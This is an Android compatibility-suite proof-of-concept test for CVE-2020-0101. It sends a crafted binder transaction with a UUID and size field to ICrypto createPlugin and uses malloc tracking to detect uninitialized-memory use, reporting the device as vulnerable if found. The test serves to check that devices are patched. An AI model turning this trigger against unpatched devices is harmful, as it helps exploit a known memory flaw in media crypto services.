hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp

/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <binder/IServiceManager.h>
#include <binder/IBinder.h>
#include <binder/Parcel.h>
#include <media/ICrypto.h>

#include "../includes/memutils_track.h"
#include "../includes/common.h"

char enable_selective_overload = ENABLE_NONE;
using namespace android;

constexpr uint8_t kUint32Len = sizeof(uint32_t);
constexpr uint8_t kUuidSize = 16;
constexpr uint8_t kSizeToTrack = 10;
constexpr uint8_t kCreatePluginEnumValue = 3;

bool is_tracking_required(size_t size) {
  return (size == kSizeToTrack);
}

struct MyCryptoHal : public BnCrypto {
  MyCryptoHal() = default;
  ~MyCryptoHal() = default;

  status_t initCheck() const {
    return OK;
  }

  bool isCryptoSchemeSupported(const uint8_t uuid[16]) {
    return false;
  }

  status_t createPlugin(const uint8_t uuid[16], const void *data, size_t size) {
    if (is_memory_uninitialized()) {
      return EXIT_VULNERABLE;
    }
    return OK;
  }

  status_t destroyPlugin() {
    return OK;
  }

  bool requiresSecureDecoderComponent(const char *mime) const {
    return false;
  }

  void notifyResolution(uint32_t width, uint32_t height) {
  }

  status_t setMediaDrmSession(const Vector<uint8_t> &sessionId) {
    return OK;
  }

  virtual ssize_t decrypt(const uint8_t key[16], const uint8_t iv[16],
                          CryptoPlugin::Mode mode,
                          const CryptoPlugin::Pattern &pattern,
                          const ICrypto::SourceBuffer &source, size_t offset,
                          const CryptoPlugin::SubSample *subSamples,
                          size_t numSubSamples,
                          const ICrypto::DestinationBuffer &destination,
                          AString *errorDetailMsg) {
    return 0;
  }

  virtual int32_t setHeap(const sp<IMemoryHeap> &heap) {
    return 0;
  }

  void unsetHeap(int32_t seqNum) {
  }

 private:
  DISALLOW_EVIL_CONSTRUCTORS (MyCryptoHal);
};

int main() {
  Parcel data, reply;
  sp < IBinder > crypto = new MyCryptoHal;
  uint8_t parcelData[kUuidSize + kUint32Len] = { 0xcc };

  memcpy(parcelData + kUuidSize, &kSizeToTrack, kUint32Len);
  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
  data.write(parcelData, kUuidSize + kUint32Len);

  enable_selective_overload = ENABLE_MALLOC_CHECK;
  crypto->transact(kCreatePluginEnumValue, data, &reply);
  enable_selective_overload = ENABLE_NONE;

  return reply.readInt32();
}